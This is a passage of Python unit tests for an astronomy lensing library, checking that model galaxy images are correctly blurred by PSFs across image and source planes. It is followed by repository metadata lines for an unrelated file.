np.array([1.0, 1.0, 1.0, 1.0]) blurring_image_1d_1 = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]) blurred_images_1d = stack_util.blurred_images_1d_of_images_from_1d_unblurred_and_bluring_images( unblurred_images_1d=[image_1d_0, image_1d_1], blurring_images_1d=[blurring_image_1d_0, blurring_image_1d_1], convolvers=[convolver_no_blur_0, convolver_blur_0]) assert (blurred_images_1d[0] == np.array([1.0, 1.0, 1.0, 1.0])).all() assert (blurred_images_1d[1] == np.array([4.0, 4.0, 4.0, 4.0])).all() class TestBlurredImageOfPlanes: def test__blurred_image_of_planes__x2_images(self, mask_0, mask_1, convolver_blur_0, convolver_blur_1): data_grid_stack_0 = grids.GridStack.grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask_0, sub_grid_size=1, psf_shape=(3, 3)) data_grid_stack_1 = grids.GridStack.grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask_1, sub_grid_size=1, psf_shape=(3, 3)) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=1.0)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=2.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0], source_galaxies=[g1], image_plane_grid_stacks=[data_grid_stack_0, data_grid_stack_1]) blurred_lens_image_0 = convolver_blur_0.convolve_image(image_array=tracer.image_plane.image_plane_images_1d[0], blurring_array=tracer.image_plane.image_plane_blurring_images_1d[0]) blurred_lens_image_0 = data_grid_stack_0.regular.scaled_array_from_array_1d(array_1d=blurred_lens_image_0) blurred_source_image_0 = convolver_blur_0.convolve_image(image_array=tracer.source_plane.image_plane_images_1d[0], blurring_array=tracer.source_plane.image_plane_blurring_images_1d[0]) blurred_source_image_0 = data_grid_stack_0.regular.scaled_array_from_array_1d(array_1d=blurred_source_image_0) blurred_lens_image_1 = convolver_blur_1.convolve_image(image_array=tracer.image_plane.image_plane_images_1d[1], blurring_array=tracer.image_plane.image_plane_blurring_images_1d[1]) blurred_lens_image_1 = data_grid_stack_1.regular.scaled_array_from_array_1d(array_1d=blurred_lens_image_1) blurred_source_image_1 = convolver_blur_1.convolve_image(image_array=tracer.source_plane.image_plane_images_1d[1], blurring_array=tracer.source_plane.image_plane_blurring_images_1d[1]) blurred_source_image_1 = data_grid_stack_1.regular.scaled_array_from_array_1d(array_1d=blurred_source_image_1) blurred_images_of_planes = stack_util.blurred_images_of_images_and_planes_from_1d_images_and_convolver( total_planes=tracer.total_planes, image_plane_images_1d_of_planes=tracer.image_plane_images_1d_of_planes, image_plane_blurring_images_1d_of_planes=tracer.image_plane_blurring_images_1d_of_planes, convolvers=[convolver_blur_0, convolver_blur_1], map_to_scaled_arrays=[data_grid_stack_0.regular.array_2d_from_array_1d, data_grid_stack_1.regular.array_2d_from_array_1d]) assert (blurred_images_of_planes[0][0] == blurred_lens_image_0).all() assert (blurred_images_of_planes[0][1] == blurred_source_image_0).all() assert (blurred_images_of_planes[1][0] == blurred_lens_image_1).all() assert (blurred_images_of_planes[1][1] == blurred_source_image_1).all() class TestUnmaskedModelImagesOfDatas: def test___3x3_padded_image__one_psf_blurs__other_asymmetric(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) unmasked_image_1d_1 = np.zeros(25) unmasked_image_1d_1[12] = 1.0 unmasked_blurred_images_of_datas = \ stack_util.unmasked_blurred_image_of_datas_from_padded_grid_stacks_psfs_and_unmasked_images( padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1], unmasked_images_1d=[np.ones(25), unmasked_image_1d_1]) assert (unmasked_blurred_images_of_datas[0] == np.ones((3, 3))).all() assert (unmasked_blurred_images_of_datas[1] == np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])).all() class TestUnmaskedModelImageOfDatasAndPlanes: def test___x2_galaxies__3x3_padded_image__x2_images__one_blurs__one_asymetric_psf_blurring(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) tracer = ray_tracing_stack.TracerImagePlaneStack(lens_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) manual_blurred_image_0 = tracer.image_plane.image_plane_images_1d[0] manual_blurred_image_0 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_0) manual_blurred_image_0 = psf_0.convolve(array=manual_blurred_image_0) manual_blurred_image_1 = tracer.image_plane.image_plane_images_1d[1] manual_blurred_image_1 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_1) manual_blurred_image_1 = psf_1.convolve(array=manual_blurred_image_1) unmasked_blurred_image_of_datas_and_planes = \ stack_util.unmasked_blurred_image_of_datas_and_planes_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert unmasked_blurred_image_of_datas_and_planes[0][0] == \ pytest.approx(manual_blurred_image_0[1:4, 1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[1][0] == \ pytest.approx(manual_blurred_image_1[1:4, 1:4], 1.0e-4) def test___same_as_above__use_galaxies_to_make_plane_images(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) tracer = ray_tracing_stack.TracerImagePlaneStack(lens_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) manual_blurred_image_00 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][0] manual_blurred_image_00 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_00) manual_blurred_image_00 = psf_0.convolve(array=manual_blurred_image_00) manual_blurred_image_01 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][1] manual_blurred_image_01 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_01) manual_blurred_image_01 = psf_0.convolve(array=manual_blurred_image_01) manual_blurred_image_10 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][0] manual_blurred_image_10 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_10) manual_blurred_image_10 = psf_1.convolve(array=manual_blurred_image_10) manual_blurred_image_11 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][1] manual_blurred_image_11 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_11) manual_blurred_image_11 = psf_1.convolve(array=manual_blurred_image_11) unmasked_blurred_image_of_datas_and_planes = \ stack_util.unmasked_blurred_image_of_datas_and_planes_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert unmasked_blurred_image_of_datas_and_planes[0][0] == \ pytest.approx(manual_blurred_image_00[1:4, 1:4] + manual_blurred_image_01[1:4, 1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[1][0] == \ pytest.approx(manual_blurred_image_10[1:4, 1:4] + manual_blurred_image_11[1:4, 1:4], 1.0e-4) def test___same_as_above__image_and_source_plane__use_planes(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) g2 = g.Galaxy(mass_profile=mp.SphericalIsothermal(einstein_radius=1.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0, g1, g2], source_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) manual_blurred_image_i0 = tracer.image_plane.image_plane_images_1d[0] manual_blurred_image_i0 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_i0) manual_blurred_image_i0 = psf_0.convolve(array=manual_blurred_image_i0) manual_blurred_image_i1 = tracer.image_plane.image_plane_images_1d[1] manual_blurred_image_i1 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_i1) manual_blurred_image_i1 = psf_1.convolve(array=manual_blurred_image_i1) manual_blurred_image_s0 = tracer.source_plane.image_plane_images_1d[0] manual_blurred_image_s0 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_s0) manual_blurred_image_s0 = psf_0.convolve(array=manual_blurred_image_s0) manual_blurred_image_s1 = tracer.source_plane.image_plane_images_1d[1] manual_blurred_image_s1 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_s1) manual_blurred_image_s1 = psf_1.convolve(array=manual_blurred_image_s1) unmasked_blurred_image_of_datas_and_planes = \ stack_util.unmasked_blurred_image_of_datas_and_planes_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert unmasked_blurred_image_of_datas_and_planes[0][0] == \ pytest.approx(manual_blurred_image_i0[1:4,1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[1][0] == \ pytest.approx(manual_blurred_image_i1[1:4,1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[0][1] == \ pytest.approx(manual_blurred_image_s0[1:4,1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[1][1] == \ pytest.approx(manual_blurred_image_s1[1:4,1:4], 1.0e-4) def test___same_as_above__image_and_source_plane__use_galaxies(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) g2 = g.Galaxy(mass_profile=mp.SphericalIsothermal(einstein_radius=1.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0, g1, g2], source_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) manual_blurred_image_i00 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][0] manual_blurred_image_i00 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_i00) manual_blurred_image_i00 = psf_0.convolve(array=manual_blurred_image_i00) manual_blurred_image_i01 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][1] manual_blurred_image_i01 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_i01) manual_blurred_image_i01 = psf_0.convolve(array=manual_blurred_image_i01) manual_blurred_image_i10 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][0] manual_blurred_image_i10 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_i10) manual_blurred_image_i10 = psf_1.convolve(array=manual_blurred_image_i10) manual_blurred_image_i11 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][1] manual_blurred_image_i11 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_i11) manual_blurred_image_i11 = psf_1.convolve(array=manual_blurred_image_i11) manual_blurred_image_s00 = tracer.source_plane.image_plane_images_1d_of_galaxies[0][0] manual_blurred_image_s00 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_s00) manual_blurred_image_s00 = psf_0.convolve(array=manual_blurred_image_s00) manual_blurred_image_s01 = tracer.source_plane.image_plane_images_1d_of_galaxies[0][1] manual_blurred_image_s01 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_s01) manual_blurred_image_s01 = psf_0.convolve(array=manual_blurred_image_s01) manual_blurred_image_s10 = tracer.source_plane.image_plane_images_1d_of_galaxies[1][0] manual_blurred_image_s10 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_s10) manual_blurred_image_s10 = psf_1.convolve(array=manual_blurred_image_s10) manual_blurred_image_s11 = tracer.source_plane.image_plane_images_1d_of_galaxies[1][1] manual_blurred_image_s11 = padded_grid_stack.regular.map_to_2d_keep_padded( padded_array_1d=manual_blurred_image_s11) manual_blurred_image_s11 = psf_1.convolve(array=manual_blurred_image_s11) unmasked_blurred_image_of_datas_and_planes = \ stack_util.unmasked_blurred_image_of_datas_and_planes_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert unmasked_blurred_image_of_datas_and_planes[0][0] == \ pytest.approx(manual_blurred_image_i00[1:4,1:4] + manual_blurred_image_i01[1:4,1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[1][0] == \ pytest.approx(manual_blurred_image_i10[1:4,1:4] + manual_blurred_image_i11[1:4,1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[0][1] == \ pytest.approx(manual_blurred_image_s00[1:4,1:4] + manual_blurred_image_s01[1:4,1:4], 1.0e-4) assert unmasked_blurred_image_of_datas_and_planes[1][1] == \ pytest.approx(manual_blurred_image_s10[1:4,1:4] + manual_blurred_image_s11[1:4,1:4], 1.0e-4) def test___if_plane_has_pixelization__unmasked_image_is_none(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1), pixelization=pix.Rectangular(), regularization=reg.Constant()) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) g2 = g.Galaxy(mass_profile=mp.SphericalIsothermal(einstein_radius=1.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0, g1, g2], source_galaxies=[g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) unmasked_blurred_image_of_datas_and_planes = \ stack_util.unmasked_blurred_image_of_datas_and_planes_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert unmasked_blurred_image_of_datas_and_planes[0][0] == None assert type(unmasked_blurred_image_of_datas_and_planes[0][1]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_and_planes[1][0] == None assert type(unmasked_blurred_image_of_datas_and_planes[1][1]) == scaled_array.ScaledSquarePixelArray g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2), pixelization=pix.Rectangular(), regularization=reg.Constant()) g2 = g.Galaxy(mass_profile=mp.SphericalIsothermal(einstein_radius=1.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0, g2], source_galaxies=[g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) unmasked_blurred_image_of_datas_and_planes = \ stack_util.unmasked_blurred_image_of_datas_and_planes_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert type(unmasked_blurred_image_of_datas_and_planes[0][0]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_and_planes[0][1] == None assert type(unmasked_blurred_image_of_datas_and_planes[1][0]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_and_planes[1][1] == None class TestUnmaskedModelImageOfDatasPlanesAndGalaxies: def test___x2_galaxies__3x3_padded_image__x2_images__one_blurs__one_asymetric_psf_blurring(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) tracer = ray_tracing_stack.TracerImagePlaneStack(lens_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) manual_blurred_image_00 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][0] manual_blurred_image_00 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_00) manual_blurred_image_00 = psf_0.convolve(array=manual_blurred_image_00) manual_blurred_image_01 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][1] manual_blurred_image_01 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_01) manual_blurred_image_01 = psf_0.convolve(array=manual_blurred_image_01) manual_blurred_image_10 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][0] manual_blurred_image_10 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_10) manual_blurred_image_10 = psf_1.convolve(array=manual_blurred_image_10) manual_blurred_image_11 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][1] manual_blurred_image_11 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_11) manual_blurred_image_11 = psf_1.convolve(array=manual_blurred_image_11) unmasked_blurred_image_of_datas_planes_and_galaxies = \ stack_util.unmasked_blurred_image_of_datas_planes_and_galaxies_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert (unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][0] == manual_blurred_image_00[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][1] == manual_blurred_image_01[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][0] == manual_blurred_image_10[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][1] == manual_blurred_image_11[1:4, 1:4]).all() def test___same_as_above__image_and_source_plane(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) g2 = g.Galaxy(mass_profile=mp.SphericalIsothermal(einstein_radius=1.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0, g1, g2], source_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) manual_blurred_image_i00 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][0] manual_blurred_image_i00 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_i00) manual_blurred_image_i00 = psf_0.convolve(array=manual_blurred_image_i00) manual_blurred_image_i01 = tracer.image_plane.image_plane_images_1d_of_galaxies[0][1] manual_blurred_image_i01 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_i01) manual_blurred_image_i01 = psf_0.convolve(array=manual_blurred_image_i01) manual_blurred_image_i10 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][0] manual_blurred_image_i10 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_i10) manual_blurred_image_i10 = psf_1.convolve(array=manual_blurred_image_i10) manual_blurred_image_i11 = tracer.image_plane.image_plane_images_1d_of_galaxies[1][1] manual_blurred_image_i11 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_i11) manual_blurred_image_i11 = psf_1.convolve(array=manual_blurred_image_i11) manual_blurred_image_s00 = tracer.source_plane.image_plane_images_1d_of_galaxies[0][0] manual_blurred_image_s00 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_s00) manual_blurred_image_s00 = psf_0.convolve(array=manual_blurred_image_s00) manual_blurred_image_s01 = tracer.source_plane.image_plane_images_1d_of_galaxies[0][1] manual_blurred_image_s01 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_s01) manual_blurred_image_s01 = psf_0.convolve(array=manual_blurred_image_s01) manual_blurred_image_s10 = tracer.source_plane.image_plane_images_1d_of_galaxies[1][0] manual_blurred_image_s10 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_s10) manual_blurred_image_s10 = psf_1.convolve(array=manual_blurred_image_s10) manual_blurred_image_s11 = tracer.source_plane.image_plane_images_1d_of_galaxies[1][1] manual_blurred_image_s11 = padded_grid_stack.regular.map_to_2d_keep_padded(padded_array_1d=manual_blurred_image_s11) manual_blurred_image_s11 = psf_1.convolve(array=manual_blurred_image_s11) unmasked_blurred_image_of_datas_planes_and_galaxies = \ stack_util.unmasked_blurred_image_of_datas_planes_and_galaxies_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert (unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][0] == manual_blurred_image_i00[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][1] == manual_blurred_image_i01[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][0] == manual_blurred_image_i10[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][1] == manual_blurred_image_i11[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[0][1][0] == manual_blurred_image_s00[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[0][1][1] == manual_blurred_image_s01[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[1][1][0] == manual_blurred_image_s10[1:4, 1:4]).all() assert (unmasked_blurred_image_of_datas_planes_and_galaxies[1][1][1] == manual_blurred_image_s11[1:4, 1:4]).all() def test___if_galaxy_has_pixelization__unmasked_image_is_none(self): mask = msk.Mask(array=np.array([[True, True, True], [True, False, True], [True, True, True]]), pixel_scale=1.0) padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask, sub_grid_size=1, psf_shape=(3, 3)) psf_0 = im.PSF(array=(np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) psf_1 = im.PSF(array=(np.array([[0.0, 3.0, 0.0], [0.0, 1.0, 2.0], [0.0, 0.0, 0.0]])), pixel_scale=1.0) g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1), pixelization=pix.Rectangular(), regularization=reg.Constant()) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2)) g2 = g.Galaxy(mass_profile=mp.SphericalIsothermal(einstein_radius=1.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0, g1, g2], source_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) unmasked_blurred_image_of_datas_planes_and_galaxies = \ stack_util.unmasked_blurred_image_of_datas_planes_and_galaxies_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][0] == None assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][1]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][0] == None assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][1]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_planes_and_galaxies[0][1][0] == None assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[0][1][1]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_planes_and_galaxies[1][1][0] == None assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[1][1][1]) == scaled_array.ScaledSquarePixelArray g0 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.1)) g1 = g.Galaxy(light_profile=lp.EllipticalSersic(intensity=0.2), pixelization=pix.Rectangular(), regularization=reg.Constant()) g2 = g.Galaxy(mass_profile=mp.SphericalIsothermal(einstein_radius=1.0)) tracer = ray_tracing_stack.TracerImageSourcePlanesStack(lens_galaxies=[g0, g1, g2], source_galaxies=[g0, g1], image_plane_grid_stacks=[padded_grid_stack, padded_grid_stack]) unmasked_blurred_image_of_datas_planes_and_galaxies = \ stack_util.unmasked_blurred_image_of_datas_planes_and_galaxies_from_padded_grid_stacks_and_psf( planes=tracer.planes, padded_grid_stacks=[padded_grid_stack, padded_grid_stack], psfs=[psf_0, psf_1]) assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][0]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_planes_and_galaxies[0][0][1] == None assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][0]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_planes_and_galaxies[1][0][1] == None assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[0][1][0]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_planes_and_galaxies[0][1][1] == None assert type(unmasked_blurred_image_of_datas_planes_and_galaxies[1][1][0]) == scaled_array.ScaledSquarePixelArray assert unmasked_blurred_image_of_datas_planes_and_galaxies[1][1][1] == None

60.396802

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0

null

0

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null

0

6

220ed627da8051a417ce770b622ff6cbe9fa7435

5,230

py

Python

metricks/result_worksheet_data_processor.py

hamsternik/medical-metricks-parser

9307038fcf20cfa514f74f2ff4f6c25f32727e2e

[ "MIT" ]

null

metricks/result_worksheet_data_processor.py

hamsternik/medical-metricks-parser

9307038fcf20cfa514f74f2ff4f6c25f32727e2e

[ "MIT" ]

null

metricks/result_worksheet_data_processor.py

hamsternik/medical-metricks-parser

9307038fcf20cfa514f74f2ff4f6c25f32727e2e

[ "MIT" ]

null

